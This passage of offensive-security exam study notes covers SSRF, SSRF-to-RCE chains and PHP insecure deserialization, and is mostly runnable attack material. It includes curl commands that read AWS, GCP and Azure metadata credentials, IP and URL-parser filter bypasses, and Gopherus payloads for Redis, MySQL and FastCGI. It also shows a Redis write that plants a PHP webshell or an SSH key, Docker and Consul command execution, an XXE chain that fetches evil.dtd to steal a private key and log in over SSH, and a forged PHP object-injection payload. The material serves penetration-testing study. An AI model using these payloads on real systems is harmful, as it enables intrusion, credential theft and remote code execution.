7.1.9 Vulnerability map by layer (memorise this — it is directly examinable)

Client layer        : XSS, DOM XSS, insecure client storage, CSRF, clickjacking
Edge/proxy layer    : cache poisoning, request smuggling, header trust bypass, Host header injection
Web server layer    : directory traversal, HTTP response splitting, weak TLS, LFI/RFI, path confusion
App server layer    : >>> SSRF <<<, >>> INSECURE DESERIALIZATION <<<, command injection,
                      SSTI, broken access control, unrestricted file upload
Internal services   : unauthenticated admin interfaces, API key mismanagement, queue injection
API layer           : BOLA/BFLA, mass assignment, excessive data exposure, missing rate limiting
Data layer          : SQLi, NoSQLi, ORM injection (the ORM itself is middleware in the app tier)

7.1.10 Exam tips

  • First 10 minutes on any server-side target: full nmap -p-. Extra HTTP ports (5000, 8000, 8080, 8081, 8983, 9200) and unexplained high ports (Jenkins CLI) are how the exam signals where the chain goes.
  • Identify the app-server tier from cookies and headers before choosing an attack class. JSESSIONID + a rO0AB blob → Java deserialization. PHPSESSID + an O:4: string → PHP object injection. __VIEWSTATE → .NET. connect.sid + JSON containing _$$ND_FUNC$$_ → node-serialize.
  • If one feature behaves differently from the rest (different error format, different headers, hangs), it is a different service. That is your internal target list.
  • Evidence to record: nmap output, the tech-stack fingerprint (headers + cookies), and a one-line diagram of which tier you exploited and which tier you reached. Graders want the pivot path, not just a payload.
  • Do not spend exam time on architecture theory. This subsection exists so you recognise the shape in seconds, then move.

7.2 Server-Side Request Forgery (SSRF)

7.2.1 What it is and why it works

SSRF is a vulnerability that lets an attacker make the server issue requests on the attacker's behalf to internal or external resources. The request is initiated by the vulnerable application but controlled by the attacker.

Three root causes, all of which must be present:

  1. Unvalidated input — the app accepts a user-supplied URL, hostname, IP or file path.
  2. Server trust — the server can reach resources the client cannot (internal APIs, databases, caches, cloud metadata, loopback).
  3. Improper access control — no allow-list of destinations, no scheme restriction, no egress filtering.

What successful exploitation yields:

  • Sensitive data disclosure (internal pages, config endpoints, file reads)
  • Theft of authentication material (cloud IAM credentials, internal API tokens, service-account tokens)
  • Internal network reconnaissance (host discovery, port scanning)
  • Remote code execution — almost always by chaining into a vulnerable or unauthenticated internal service
  • Local file read/inclusion via file://
  • Bypassing IP-based access control (the request now originates from a trusted internal IP)

7.2.2 Where SSRF appears — the hunting checklist

SurfaceWhat to look forTypical parameter names
Direct URL parameterA full URL in query string or bodyurl, uri, u, link, src, source, target, dest, redirect, redirect_uri, return, next, data, reference, site, html, domain, feed, host, port, to, out, view, dir, path, continue, window, val, show, open
Webhooks / callbacks"Send events to this URL", chat integrations, CI hookscallback_url, webhook, notify_url, hook
PDF generatorsHTML→PDF (wkhtmltopdf, Headless Chrome, dompdf) rendering server-sideany field rendered into the PDF
Image processing / thumbnails"Fetch avatar from URL", ImageMagick/GD remote fetchavatar_url, image, img, photo
File import / "upload from URL"CSV/XML/JSON/document import by URLimport_url, file_url
XML parsersXXE SYSTEM "http://..." — XXE is an SSRF primitiveany XML body
SVG / OOXML uploadsSVG <image href>, DOCX external relationshipsfile-upload endpoints
Redirect handlersServer follows a redirect (Location: chaining)open-redirect endpoints
Proxy / fetch endpoints/proxy?url=, /fetch?target=, /api/preview?link=obvious
Link preview / unfurlingCMS "embed", chat OpenGraph fetchmessage body
Installers / integrations"test connection", DB/LDAP/SMTP host fieldshost, server, endpoint
Document / markdown renderersRemote images in Markdown, LaTeX \input, CSS @importbody content
Network toolsBuilt-in ping/whois/nslookup utilitieshost, ip
HeadersBackend forwards the header into a requestX-Forwarded-Host, Referer, Host, X-Forwarded-For, True-Client-IP, X-Wap-Profile, Forwarded

Also test parameters that take only a hostname or only a path — those are SSRF too, just with a fixed prefix.

7.2.3 Types of SSRF

TypeDefinitionHow you confirm it
Basic / in-band (non-blind)The internal response body is reflected backRead the content directly
Semi-blindBody not shown, but status/length/content-type/error/timing differDifferential analysis
Blind / out-of-bandNo response signal at allDNS/HTTP callback to Collaborator or interactsh
SSRF to internal reconUsing any of the above to enumerate hosts/portsResponse/time differentials per port
Chained / advancedSSRF is one link (XXE→SSRF→file read→SSH key; SSRF→Redis→RCE)The chain's final effect

7.2.4 Basic exploitation — confirm it exists, in this order

The confirmation methodology is: prove an outbound request happens, identify the fetching library, then reach loopback, then enumerate schemes, then attempt file reads.

# 1. Baseline: does the parameter fetch an EXTERNAL URL you control? Proves outbound request.
#    Point it at your own listener and watch for the hit.
curl -sS 'http://target/fetch?url=http://YOUR-LISTENER:8000/probe'
# Listener for the above - the inbound User-Agent fingerprints the fetching library
python3 -m http.server 8000
# Library fingerprints in the inbound User-Agent -> tells you which schemes/bypasses apply
python-requests/2.x  -> Python requests (follows redirects; no gopher)
curl/7.x             -> libcurl (gopher/dict/file frequently enabled)
Java/1.8.0_x         -> java.net.URL (ftp/file; CRLF and URL-parsing quirks)
Go-http-client/1.1   -> Go net/http (strict parsing)
PHP/7.x or empty UA  -> file_get_contents / PHP cURL (wrappers: php://, file://, phar://)
node-fetch / axios   -> Node (IDN/unicode quirks)
# 2. Loopback: can it reach the app host itself? This is the internal-access PoC.
curl -sS 'http://target/fetch?url=http://127.0.0.1/'
curl -sS 'http://target/fetch?url=http://localhost:5000/'
curl -sS 'http://target/fetch?url=http://0.0.0.0:80/'
# 3. Scheme enumeration: which protocols does the fetcher accept?
for s in http https file ftp gopher dict ldap tftp php data netdoc; do
  printf '%-7s -> ' "$s"
  curl -sS -o /dev/null -w '%{http_code} %{size_download}\n' \
    --get --data-urlencode "url=$s://127.0.0.1/" 'http://target/fetch'
done
# 4. Local file read (when file:// is permitted - common in PHP and Java fetchers).
#    Start with a boring file to prove the read before touching anything sensitive.
curl -sS --get --data-urlencode 'url=file:///etc/hostname'      'http://target/fetch'
curl -sS --get --data-urlencode 'url=file:///etc/passwd'        'http://target/fetch'
curl -sS --get --data-urlencode 'url=file:///proc/self/environ' 'http://target/fetch'
curl -sS --get --data-urlencode 'url=file:///proc/net/tcp'      'http://target/fetch'
curl -sS --get --data-urlencode 'url=file:///C:/Windows/win.ini' 'http://target/fetch'
# 5. PHP wrapper: base64 the source of the fetching script itself (bypasses "not text" breakage)
curl -sS --get \
  --data-urlencode 'url=php://filter/convert.base64-encode/resource=index.php' \
  'http://target/fetch'

/proc/net/tcp is high value. It lists every listening socket on the host in hex — an internal port map without scanning. The addresses are little-endian hex IP + big-endian hex port:

#!/usr/bin/env python3
# decode_proctcp.py - convert /proc/net/tcp local_address column to ip:port
# usage: cat proc_net_tcp.txt | python3 decode_proctcp.py
import sys, socket, struct
for line in sys.stdin:
    f = line.split()
    if len(f) < 4 or ':' not in f[1] or f[1] == 'local_address':
        continue
    hip, hport = f[1].split(':')
    ip = socket.inet_ntoa(struct.pack('<L', int(hip, 16)))   # IP is little-endian
    print(f"{ip}:{int(hport,16)}  state={f[3]}")             # port is big-endian
# Single-value conversions (matches the course's convert.py helper)
python3 -c "import socket,struct;print(socket.inet_ntoa(struct.pack('<L',int('0100007F',16))))"  # 127.0.0.1
python3 -c "print(int('1F90',16))"   # 8080  (ports: just int(hex,16))

7.2.5 Internal port scanning through SSRF

The oracle is response length, status code, error text, or response time. Closed port = fast "connection refused"; filtered = long timeout; open = banner/HTML/protocol error.

# Localhost port sweep, watching size + time as the oracle
for p in 22 25 80 443 3000 3306 5000 5432 5601 6379 8000 8005 8009 8080 8081 8161 \
         8443 8500 8983 9000 9090 9200 9300 11211 15672 27017 2375 2376 10250 1099 7001 9990; do
  printf '%-6s ' "$p"
  curl -sS -o /dev/null -w '%{http_code} %{size_download} %{time_total}\n' -m 6 \
    --get --data-urlencode "url=http://127.0.0.1:$p/" 'http://target/fetch'
done
# Burp Intruder equivalent (use when the SSRF parameter is in a POST body)
# 1. Send request to Intruder; mark the port (or host) as the payload position
# 2. Payload type: Numbers, or a common-ports wordlist
# 3. Grep-Extract the error string; sort results by Length and by Response-received time
# 4. Outliers in Length / Time are the open ports

Interpretation:

SignalMeaning
Fast error "Connection refused"Port closed, host up
Long hang then timeoutFiltered / host down
Any HTTP responseOpen HTTP service
Error mentioning "invalid HTTP response" / "malformed" / garbage bytesOpen non-HTTP service (SSH, MySQL, Redis) — candidate for protocol smuggling
One port errors differently from all othersYour target

7.2.6 Reading internal services

# Internal app root and common admin/diagnostic paths
curl -sS --get --data-urlencode 'url=http://127.0.0.1:8080/'          'http://target/fetch'
curl -sS --get --data-urlencode 'url=http://127.0.0.1:8080/actuator/env' 'http://target/fetch'
# Elasticsearch (9200) - unauthenticated cluster/data disclosure
curl -sS --get --data-urlencode 'url=http://127.0.0.1:9200/_cat/indices' 'http://target/fetch'
# Consul (8500) service catalogue; Docker API (2375) container list
curl -sS --get --data-urlencode 'url=http://127.0.0.1:8500/v1/agent/self' 'http://target/fetch'
curl -sS --get --data-urlencode 'url=http://127.0.0.1:2375/containers/json' 'http://target/fetch'

7.2.7 Cloud metadata endpoints

The prize is temporary IAM/role credentials. Reach the link-local metadata IP through the SSRF.

AWS — IMDSv1 (no token; still present on many instances):

# List roles, then fetch that role's temporary credentials (AccessKeyId/SecretAccessKey/Token)
curl -sS --get --data-urlencode \
  'url=http://169.254.169.254/latest/meta-data/iam/security-credentials/' 'http://target/fetch'
curl -sS --get --data-urlencode \
  'url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME' 'http://target/fetch'
# Other useful IMDSv1 paths
# /latest/dynamic/instance-identity/document      -> account id, region, instance id
# /latest/user-data                                -> bootstrap script (often has secrets)
# /latest/meta-data/                               -> index of everything

AWS — IMDSv2 (token required; a PUT precedes every GET): SSRF must be able to send a PUT with the token-TTL header, then replay the token in a GET header. Pure GET-only SSRF cannot reach IMDSv2.

# Step 1: obtain a session token (PUT + TTL header)
curl -sS -X PUT 'http://169.254.169.254/latest/api/token' \
  -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600'
# Step 2: use the token in the required header on every metadata GET
curl -sS 'http://169.254.169.254/latest/meta-data/iam/security-credentials/' \
  -H 'X-aws-ec2-metadata-token: THE-TOKEN'

AWS ECS/Fargate task role (container credential relative URI, link-local 169.254.170.2):

# The relative URI is exposed in the env var; read it via file:///proc/self/environ if needed
curl -sS 'http://169.254.170.2/v2/credentials/GUID-FROM-ENV'

GCP — requires the Metadata-Flavor: Google header (this is the SSRF gate for GCP):

# Service-account OAuth token; host also answers as metadata.google.internal
curl -sS -H 'Metadata-Flavor: Google' \
  'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token'
# recursive dump of everything
curl -sS -H 'Metadata-Flavor: Google' \
  'http://169.254.169.254/computeMetadata/v1/?recursive=true&alt=json'

Azure — requires Metadata: true and an api-version:

# Instance metadata and a managed-identity access token
curl -sS -H 'Metadata: true' \
  'http://169.254.169.254/metadata/instance?api-version=2021-02-01'
curl -sS -H 'Metadata: true' \
  'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'
# DigitalOcean : http://169.254.169.254/metadata/v1/   (no header)
# Alibaba      : http://100.100.100.200/latest/meta-data/
# Oracle OCI   : http://169.254.169.254/opc/v2/instance/  (Authorization: Bearer Oracle)

Key exam point: if the SSRF is GET-only and the target is AWS with IMDSv2, or GCP/Azure where a header is mandatory, you need an SSRF primitive that can add request headers or use a non-GET method. XXE and some fetch libraries let you; a bare ?url= usually does not — note that in the report as the reason a metadata path failed.

7.2.8 Protocol smuggling — gopher:// and dict://

When an internal port speaks a non-HTTP protocol (Redis, MySQL, SMTP, FastCGI), http:// will not talk to it. gopher:// sends raw bytes to any TCP port, letting you speak the target protocol directly — this is the usual bridge from SSRF to RCE.

# gopher URL structure: gopher://HOST:PORT/_<url-encoded raw bytes>
#   - the "_" after the slash is a throwaway selector char
#   - CRLF must be encoded as %0d%0a
#   - the payload after "_" is URL-encoded once (twice if the app decodes before fetching)
# dict:// - simplest banner grab / single-command probe against a service
curl -sS --get --data-urlencode 'url=dict://127.0.0.1:6379/INFO'   'http://target/fetch'
curl -sS --get --data-urlencode 'url=dict://127.0.0.1:11211/stats' 'http://target/fetch'
# Generate a gopher Redis payload (and many other services) with Gopherus
git clone https://github.com/tarunkant/Gopherus.git
python3 Gopherus/gopherus.py --exploit redis      # then feed it the file path/content to write
python3 Gopherus/gopherus.py --exploit mysql
python3 Gopherus/gopherus.py --exploit fastcgi
python3 Gopherus/gopherus.py --exploit smtp
# Double-encoding rule: Gopherus emits a once-encoded gopher:// string.
# If the vulnerable parameter is itself URL-decoded by the app before it fetches,
# URL-encode the whole gopher payload a SECOND time, or the CRLFs will not survive.

7.2.9 Blind SSRF detection

No response signal → force an out-of-band interaction and watch a server you control.

# interactsh - self-hosted / hosted OOB listener; gives a unique domain, shows DNS+HTTP hits
interactsh-client
# -> supply the generated https://XXXX.oast.fun as the SSRF URL, watch for DNS and HTTP callbacks
# Burp Collaborator (Pro): "Copy to clipboard" a unique domain, submit as the URL,
# then "Poll now". A DNS-only hit means egress DNS resolves but HTTP is filtered
# (still proves blind SSRF). A full HTTP hit means outbound HTTP egress exists.
# Free/quick OOB channels when you have no VPS: Burp Collaborator, oast.fun (interactsh),
# webhook.site, requestbin. DNS-only interaction is enough to confirm blind SSRF.

DNS-hit but no HTTP-hit is a real, reportable finding: it proves the server resolved your name (so it processed your URL), even though egress HTTP is blocked. It also enables DNS rebinding (§7.2.10).

7.2.10 Filter / allow-list bypasses

Filters usually try to block 127.0.0.1, localhost, 169.254.169.254, or "private" ranges by string matching or a naive parse. Alternate representations defeat that.

Alternate representations of 127.0.0.1:

http://127.0.0.1            baseline loopback
http://127.1               short form (127.0.0.1)
http://127.0.1             also valid
http://0                    resolves to 0.0.0.0 -> loopback on many stacks
http://0.0.0.0              all-interfaces / loopback
http://2130706433           decimal (integer) form of 127.0.0.1
http://0x7f.0x0.0x0.0x1     hex per octet
http://0x7f000001           single hex dword
http://0177.0.0.1           octal first octet
http://0177.0000.0000.0001  fully octal
http://[::1]                IPv6 loopback
http://[::ffff:127.0.0.1]   IPv4-mapped IPv6
http://[0:0:0:0:0:ffff:7f00:0001]  expanded mapped form
http://①②⑦.⓪.⓪.①           unicode digit lookalikes (some parsers normalise)
# Same tricks for the AWS metadata IP 169.254.169.254
http://2852039166            decimal
http://0xA9FEA9FE            hex dword
http://0251.0376.0251.0376   octal
http://[::ffff:169.254.169.254]   IPv4-mapped IPv6
http://169.254.169.254.nip.io     wildcard-DNS name resolving to the metadata IP

DNS names that resolve to loopback / internal:

http://localtest.me          -> 127.0.0.1  (public wildcard DNS)
http://127.0.0.1.nip.io      -> 127.0.0.1  (nip.io reflects any embedded IP)
http://spoofed.burpcollaborator.net   -> resolves to whatever you set
# Register your own A record pointing at 127.0.0.1 / 169.254.169.254 if the app blocks known ones

URL-parser confusion — the classic split between what the validator parses and what the fetcher parses (Orange Tsai's @ # \ ..;/ techniques):

http://expected-host.com@127.0.0.1/          userinfo trick: fetcher connects to 127.0.0.1
http://127.0.0.1#expected-host.com/          fragment: some parsers read only up to #
http://127.0.0.1%2523@expected-host.com/     double-encoded fragment
http://expected-host.com\@127.0.0.1/         backslash confuses host boundary
http://127.0.0.1%00.expected-host.com/       null byte truncation
http://expected-host.com..;@127.0.0.1/       ..;/ path-segment confusion (Tomcat/Java)
http://[email protected]%2f%2f127.0.0.1/       encoded slashes
http://127。0。0。1/                           ideographic full-stop as dot separator
http://127.0.0.1:80\@expected-host.com/

Open-redirect chaining — when the app allow-lists a domain but follows redirects, host a redirector on the allowed/your domain that 302s to the internal target:

# Vulnerable app fetches http://trusted.com/redirect?to=... and follows the Location header
http://trusted-allowed.com/redirect?url=http://169.254.169.254/latest/meta-data/
# Your own redirector returning 302 Location: http://127.0.0.1:6379/ also works when only
# the FIRST hop is validated but redirects are followed.

DNS rebinding — beats validators that resolve the name once, check the IP, then let the fetcher resolve again:

# A hostname whose DNS answer flips between a public IP (passes the check) and 127.0.0.1
# (used by the actual fetch) on successive lookups. Services: rebind.network, or roll your own
# with two A records + very low TTL. Use when validation and fetch are separate resolutions
# (TOCTOU). Requires the target to re-resolve, which many HTTP libraries do.

Scheme / case / whitespace tricks:

HtTp://127.0.0.1     mixed case
http:/127.0.0.1      missing slash (some parsers accept)
http:127.0.0.1       no slashes
 http://127.0.0.1    leading space/newline before the URL

7.2.11 Exam tips

  • Confirm outbound first. Point the parameter at your own listener/Collaborator before anything else. No callback and no reflected content → it may be blind with no egress; pivot to timing/error oracles.
  • Fingerprint the fetcher from the User-Agent. It decides whether file://, gopher:// and PHP wrappers are even on the table. Do this before wasting attempts.
  • Reach loopback, then read /proc/net/tcp, then scan. The proc file gives you the port list for free and avoids noisy scanning.
  • Cloud target? Try IMDSv1 metadata immediately (/latest/meta-data/iam/security-credentials/). If it fails, determine whether it is IMDSv2 (needs PUT+token), GCP (needs Metadata-Flavor: Google), or Azure (needs Metadata: true) — and whether your SSRF can supply headers/methods at all.
  • Blocked by a filter? Work the list in order: 127.1 / decimal / octal / hex → IPv4-mapped IPv6 → nip.io/localtest.me → @/#/\/..;/ parser confusion → open-redirect chain → DNS rebinding. One of these almost always lands.
  • Non-HTTP internal port? That is the gopher signal. Gopherus + double-encoding is the bridge to Redis/MySQL/FastCGI RCE (§7.3).
  • Evidence: the exact request, the reflected internal response or the Collaborator/interactsh log line with timestamp, and (for cloud) the retrieved credential blob with the AccessKeyId partially redacted. A DNS-only callback with a timestamp is a valid blind-SSRF PoC.

7.3 SSRF to RCE — the realistic chains

SSRF is rarely the end. Its value is that it places your request inside the trust boundary, where internal services assume every caller is friendly. RCE comes from reaching one of those services and using its intended functionality against it.

How to recognise the opportunity: an SSRF that can reach an internal port which (a) is unauthenticated and (b) has a config/exec/write feature. The port scan (§7.2.5) plus the service table (§7.1.7) tell you which chain applies.

7.3.1 gopher → internal Redis → RCE

Redis on 6379 is unauthenticated by default and lets a client rewrite its own config at runtime. That is enough to write a file to any path the Redis process can write.

Mechanism: connect to Redis over gopher://, issue CONFIG SET dir/CONFIG SET dbfilename to point the DB file at a target directory, SET a key whose value is your payload, then SAVE. Redis writes the RDB file (containing your value) to the chosen path.

Three classic write targets:

# 1. Web root -> drop a PHP/JSP webshell
CONFIG SET dir /var/www/html    +  dbfilename shell.php   +  SET x "<?php system($_GET['c']);?>"  +  SAVE
# 2. Cron -> command execution as the cron user
CONFIG SET dir /var/spool/cron/crontabs (or /etc/cron.d)  +  value = a crontab line  +  SAVE
# 3. SSH -> write authorized_keys for the redis/root user's home
CONFIG SET dir /root/.ssh       +  dbfilename authorized_keys  +  SET x "<your public key>"  +  SAVE
# Gopherus builds the entire gopher:// string for any of these
python3 Gopherus/gopherus.py --exploit redis
# It prompts for the write target and payload, then prints a gopher://127.0.0.1:6379/_... URL.
# Feed that URL to the SSRF parameter; double-URL-encode if the app decodes before fetching.

7.3.2 gopher → internal MySQL / PostgreSQL / SMTP / FastCGI

gopher:// speaks any TCP protocol, so the same technique reaches other services. Gopherus has ready modules:

python3 Gopherus/gopherus.py --exploit mysql     # run SQL as a passwordless internal user
python3 Gopherus/gopherus.py --exploit postgresql
python3 Gopherus/gopherus.py --exploit fastcgi   # PHP-FPM on 9000 -> RCE via SCRIPT_FILENAME + php_value
python3 Gopherus/gopherus.py --exploit smtp      # send internal mail (phishing, spoof)
python3 Gopherus/gopherus.py --exploit zabbix

FastCGI (PHP-FPM on 127.0.0.1:9000) is a frequent win: it is almost always loopback-only and trusts anything on the socket. The gopher payload sets SCRIPT_FILENAME to a known PHP file and injects php_admin_value[auto_prepend_file] or passes code via env, yielding command execution.

7.3.3 Internal Jenkins → RCE

Jenkins is common on internal networks and stores credentials/IP. Two chains:

# a) Script console (authenticated or if SSRF reaches it unauthenticated):
#    POST to /script with Groovy:  println "id".execute().text
# b) Older Jenkins (e.g. 1.x): the CLI port speaks a serialized-object protocol
#    -> Java deserialization RCE (see §7.5). The course lab uses exactly this:
#    downgrade CLI v2->v1 by deleting the X-Jenkins-CLI-Port header, then send a
#    ysoserial CommonsCollections payload to the CLI port.
# Recognising it: /login shows "Jenkins ver. X"; nmap reveals 8080 + a high random CLI port
curl -sSI http://internal-jenkins:8080/ | grep -i x-jenkins

7.3.4 Internal Spring Boot Actuator → RCE / credential leak

# Discovery
/actuator            -> lists exposed endpoints
/actuator/env        -> environment: DB passwords, API keys, cloud creds in plaintext
/actuator/heapdump   -> downloads a heap dump; grep it for tokens/sessions/passwords
/actuator/mappings   -> internal routes
# RCE paths
# - /actuator/env POST to set a malicious property + /actuator/restart
# - Spring Cloud Gateway /actuator/gateway/routes SpEL injection
# - jolokia/logback endpoints -> load a malicious config from your SSRF-reachable server
# Heap dump mining after retrieving it via SSRF or direct access
strings heapdump | grep -iE 'password|secret|token|aws_|bearer' | sort -u | head

7.3.5 Internal Consul / Docker API / Kubelet → RCE

# Consul (8500): register a service with a script health-check that runs a command
#   PUT /v1/agent/service/register  with a "check": { "args": ["/bin/sh","-c","<cmd>"] }
# Docker API (2375/2376): create a container mounting the host FS, then exec in it
#   POST /containers/create  (Binds: ["/:/host"]) -> POST /containers/{id}/start -> exec = host RCE
# Kubelet (10250): POST /run/<ns>/<pod>/<container> to exec inside a pod

These are reachable through SSRF that can send the right method/body (gopher for raw, or a fetch primitive that allows POST). A GET-only SSRF often still reads Consul/Docker state (recon) even when it cannot trigger the write.

7.3.6 Internal admin panels and SSRF + known-CVE chaining

The most general chain: SSRF reaches an internal app that is unauthenticated because it is internal, or is a known-vulnerable version. Recognise it, then apply that product's public exploit through the SSRF (or, once you have loopback file-read/creds, directly).

# Pattern:
# 1. SSRF -> internal service banner/version (headers, /actuator/info, login page version string)
# 2. Match version to a public CVE with a network exploit
# 3. Deliver the exploit through the SSRF channel (gopher for raw sockets; fetch for HTTP CVEs)
# Examples seen on internal nets: Elasticsearch script RCE, Solr config-set RCE,
# GitLab/Confluence/Grafana SSRF+CVE combos, old Struts/WebLogic deserialization endpoints.

7.3.7 The course's worked chain: XXE → SSRF → file read → SSH → shell

The eWPTX SSRF-to-RCE lab chains several primitives. Anatomy to reproduce the reasoning:

1. XML validator endpoint accepts a DOCTYPE  -> confirm XXE with an internal entity that
   reflects back (proves the parser expands entities).
2. Use the XXE as an SSRF/file-read primitive:
   - file:///proc/net/tcp  -> decode hex -> discover an internal service (port 8888).
   - Because raw file content can contain < & ", wrap output in a CDATA section delivered
     by an EXTERNAL DTD you host, so the parser does not choke (blind/OOB XXE pattern).
3. Host evil.dtd on your Kali box; the XXE fetches it (this is the SSRF hop). The DTD reads
   the target file and embeds it in CDATA so it comes back cleanly.
4. Walk the internal web root: directory listing -> flag files -> the .ssh directory ->
   read id_rsa (private key) and id_rsa.pub (which reveals the username/email).
5. Reformat the leaked key (restore newlines), chmod 600, and SSH in as that user = RCE.
# The key-reformat step the course performs with sed (leaked key comes back on one line)
sed -e 's/-----BEGIN RSA PRIVATE KEY-----/&\n/' \
    -e 's/-----END RSA PRIVATE KEY-----/\n&/' \
    -e 's/\S\{64\}/&\n/g' id_rsa_raw > id_rsa
chmod 600 id_rsa
ssh -i id_rsa david@demo.ine.local
# evil.dtd shape used to smuggle file contents past the XML parser (CDATA wrap)
<!ENTITY % file  SYSTEM "file:///path/to/target">
<!ENTITY % wrap  "<!ENTITY all '%start;%file;%end;'>">
# %start; / %end; supply the <![CDATA[  and  ]]>  markers so < & " in the file survive.

7.3.8 Exam tips

  • The chain is dictated by the open internal port. Scan first (§7.2.5), match the port to §7.1.7, then pick the technique. Do not guess.
  • gopher is the RCE bridge whenever the internal port is non-HTTP (Redis 6379, MySQL 3306, PHP-FPM 9000, SMTP 25). Reach for Gopherus and remember the double-encoding rule.
  • HTTP internal service? Try the low-effort wins first: Actuator /env and /heapdump for credentials, Elasticsearch /_cat/indices, Jenkins /script, Consul/Docker state reads.
  • Version-match to a CVE for any internal app you can fingerprint; deliver the public exploit through the SSRF.
  • A file-read primitive (XXE, file://, php://filter) is often faster than RCE: SSH keys, .env, cloud creds, settings.py/config.php frequently hand you the next hop directly.
  • Evidence: capture each hop — the SSRF request, the internal response proving reach, the config-write or exploit request, and the final command output (id, hostname). Graders score the demonstrated pivot path end to end.

7.4 Insecure Deserialization — concept

7.4.1 Serialization vs deserialization

  • Serialization converts an in-memory object (its class name, properties/state, and sometimes behaviour) into a portable format — a byte stream, a text string (JSON/XML), or binary — so it can be stored (file, DB, cookie) or transmitted (network, API).
  • Deserialization is the exact reverse: it reconstructs the original object from that format so the application can use it again. A correct round-trip loses nothing — the object comes back identical.

Serialization is not encryption or encoding. By default the serialized blob is neither encrypted nor signed, so anyone who can intercept it can tamper with it.

7.4.2 Why deserializing untrusted input is dangerous

The vulnerability is deserializing attacker-controlled data without validation. It is dangerous because deserialization is not a passive data copy — the runtime instantiates objects and may automatically invoke methods as part of rebuilding them. If an attacker controls the byte stream, they control which classes get instantiated and, through those classes' automatically-invoked methods, what code runs.

Root causes:

  • Blind trust in user input (cookies, params, headers, request bodies treated as safe)
  • Direct use of the deserialize function on raw input, no integrity check
  • Overly permissive libraries that auto-instantiate and auto-invoke
  • Complex object graphs whose construction triggers side effects
  • No cryptographic signing/HMAC on the serialized data

Impacts: RCE, privilege escalation (tamper with role/user objects in a session cookie), data tampering, auth/logic bypass, DoS.

7.4.3 Magic methods and gadget chains — the core concept

Magic methods are methods a language calls automatically on lifecycle events (object creation, destruction, string conversion, method-miss). Deserialization triggers some of them without the application explicitly calling anything. If a magic method on some available class does something dangerous with a property the attacker controls, deserialization becomes code execution.

A gadget is any property/method reachable during deserialization that does something useful to the attacker. A gadget chain (POP chain — Property-Oriented Programming) strings several gadgets together: the first magic method calls into a second object's method, which calls a third, ending in a sink (command exec, file write, SQL, reflection-based method invocation).

Critical nuance: the vulnerable classes are usually not in the application's own code — they come from libraries loaded on the classpath/include path (Apache Commons Collections in Java, framework internals in PHP). The library is not "insecure by design"; it only becomes a weapon when the app deserializes untrusted data while that library is loaded. This is why the same CommonsCollections payload works across countless unrelated Java apps.

The attacker's job is therefore: (1) find where untrusted data is deserialized, (2) identify the language/format, (3) find a usable gadget chain among the loaded libraries, and (4) deliver a payload built from that chain — usually with a tool (ysoserial, PHPGGC, ysoserial.net) rather than by hand.


7.5 PHP Insecure Deserialization

7.5.1 The serialize()/unserialize() format

serialize() turns a PHP value into a human-readable string (not binary). unserialize() reverses it. The string encodes type, length, and value for everything, which makes it easy to read and easy to forge.

// Example: an object with two string properties
class User { public $name = "Alice"; public $role = "admin"; }
echo serialize(new User());
// O:4:"User":2:{s:4:"name";s:5:"Alice";s:4:"role";s:5:"admin";}

Full breakdown of that string:

O:4:"User":2:{ s:4:"name"; s:5:"Alice"; s:4:"role"; s:5:"admin"; }
│ │   │     │  │   │       │   │
│ │   │     │  │   │       │   └─ value: string, length 5, "Alice"
│ │   │     │  │   │       └───── key:   string, length 4, "name"
│ │   │     │  └──┴─ property #1 (key ; value ;)
│ │   │     └─ number of properties = 2
│ │   └─ class name = "User"
│ └─ length of the class name = 4
└─ type marker: O = Object

Type markers table (memorise — you read and forge these constantly):

MarkerTypeFormatExample
sstrings:<len>:"<value>";s:5:"Alice";
iintegeri:<value>;i:30;
ddouble/floatd:<value>;d:3.14;
bbooleanb:0; / b:1;b:1; (true)
NnullN;N;
aarraya:<count>:{<key>;<val>;...}a:2:{i:0;s:3:"foo";i:1;s:3:"bar";}
OobjectO:<len>:"<class>":<nprops>:{<prop>;<val>;...}see above
O:+object, non-validated len(length-mismatch trick)O:+4:"User":...
Cobject using Serializable serialize()C:<len>:"<class>":<len>:{<raw>}custom
R / rreference / object referenceR:<n>;pointer to earlier value
Eenum (PHP 8.1+)E:<len>:"<Enum>:<case>";E:7:"Suit:Hearts";
  • Private property key is \0ClassName\0prop (null bytes around the class name); length counts those null bytes.
  • Protected property key is \0*\0prop.

7.5.2 Magic methods that fire during (de)serialization

MethodWhen it runsAttacker use
__wakeup()on unserialize(), right after rebuildre-init logic; common gadget entry point
__destruct()when the object is destroyed (script end)very common sink trigger — runs even if object is never "used"
__toString()when object is used as a string (echo, concat)reach code by forcing string context
__construct()on object creationNOT called by unserialize (so cannot be relied on for entry)
__invoke()when object is called as a functionchain link
__call() / __callStatic()when an undefined method is calledchain link
__get() / __set()on access to inaccessible propertychain link
__sleep()on serialize()prepares props (not attacker-facing)
__unserialize()on unserialize() if defined (PHP 7.4+)replaces __wakeup

Entry points that trigger execution: __wakeup (immediately) and __destruct (at script end) are the two you look for first.

7.5.3 Spotting serialized data

# It is serialized PHP if you see the type markers, especially a leading O: or a:
O:4:"User":2:{...}          object
a:2:{i:0;s:4:"...";...}     array
# Where it hides: cookies, hidden form fields, query/body params, cache files, DB columns.
# Often URL-encoded (%3A for :, %22 for ") or base64'd first. Decode, then look for O:/a:/s:.
# Decode + inspect a suspected blob safely with PHP CLI (no need to run the app)
php -r 'var_dump(unserialize($argv[1]));' 'O:4:"User":2:{s:4:"name";s:5:"Alice";s:4:"role";s:5:"admin";}'

7.5.4 PHP Object Injection and building a POP chain

PHP Object Injection (POI) is the attack: user input flows into unserialize(), so the attacker chooses which class is instantiated and its property values. Exploitation depends on a class with a dangerous magic method (__wakeup/__destruct/__toString) being available (declared/autoloaded) when unserialize() runs.

// Vulnerable pattern
$data = $_GET['data'];
$user = unserialize($data);   // attacker controls the object type and properties
// ...and somewhere a loaded class does something dangerous in __destruct()/__wakeup()

Building the payload: locate a "gadget" class in the app or its libraries whose magic method reaches a sink using a controllable property; then create that object locally and serialize() it.

<?php
// exploit.php - forge a serialized payload for a known gadget class
// Recreate the class signature the target defines, set the property to your command,
// then serialize. The class's own __destruct()/eval sink runs on the target.
class PHPObjectInjection {
    public $inject = "system('id');";   // whatever the sink evaluates/executes
}
echo serialize(new PHPObjectInjection());
// O:19:"PHPObjectInjection":1:{s:6:"inject";s:13:"system('id');";}
php exploit.php
